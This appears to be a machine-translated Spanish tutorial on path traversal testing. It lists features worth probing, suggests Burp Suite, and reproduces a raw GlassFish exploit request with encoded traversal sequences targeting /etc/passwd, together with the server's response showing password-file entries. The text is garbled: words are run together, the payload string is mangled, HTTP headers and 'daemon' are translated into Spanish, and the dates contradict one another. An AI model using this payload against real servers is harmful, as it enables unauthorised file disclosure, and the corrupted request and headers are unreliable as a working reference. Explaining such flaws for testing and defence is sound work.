Lavulnerabilidad de recorrido deruta de acceso se ve para ver si una aplicación web permite el acceso no autorizado a archivos o directorios a los que se debe denegar el acceso. Este tipo de ataque utiliza parámetros pasados a la aplicación que muestran las rutas de acceso a los recursos en los que se realizan operaciones específicas, como leer, escribir o mostrar el contenido del directorio. Como resultado, esto puede conducir a la divulgación de información redundante, archivos de configuración e incluso la capacidad de ejecutar código de forma remota. La vulnerabilidad de recorrido de ruta puede ocurrir en diferentes elementos del software o sus funciones. No hay lugar para omitir durante las pruebas, pero hay características a las que prestar especial atención:
- Características responsables de la descarga de archivos desde el servidor
- características responsables de cargar la configuración de la aplicación (plantillas, estilos, idioma de la interfaz),
- funciones responsables de cargar archivos en el servidor.
Para las pruebas de vulnerabilidad de recorrido deruta, puede utilizarproxies HTTP, por ejemplo, Burp Suite Proxy. Puede utilizarlo para manipular los parámetros que representan la ruta de acceso agregando las cadenas adecuadas, como los parámetros de la ruta de acceso. ".. /", destinado a "saltar" desde el directorio procesado actualmente. Un ejemplo en el gráfico siguiente:
Otro ejemplo de vulnerabilidad de recorrido de ruta de acceso podría ser un error de agosto de 2015 encontrado en el servidor de aplicaciones GlassFish. Llamar a la solicitud adecuada, como se muestra a continuación, permitió leer cualquier archivo del disco:
GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%c0%af%c0%c0%c0%ae%c0%af% c 0%ae%c0%ae%c0%af%c0%ae%c0%c0%af%c0%ae%c0%c0%c0%af%c0%ae%ae%c0%ae% c0%af%c0%ae%c0%c0%af%c0%c0%c0%c0%c0%af%c0%ae%c0%ae%ae %c0%afetc%c0%afpasswd
HTTP/1.1
Host: 127.0.0.1:4848
Accept: */*
Accept-Language: en
Connection: close
En respuesta, el servidor devuelve el contenido del archivo /etc/passwd:
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1
Java/Oracle Corporation/1.7)
Última modificación: Mar, 13 Jan 2015 10:00:00 GMT
Fecha: Mar, 10 Jan 2015 10:00:00 GMT
Conexión: cerrar
Contenido-Longitud: 1087
root:!:16436:0:99999:7:::
demonio:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
[...]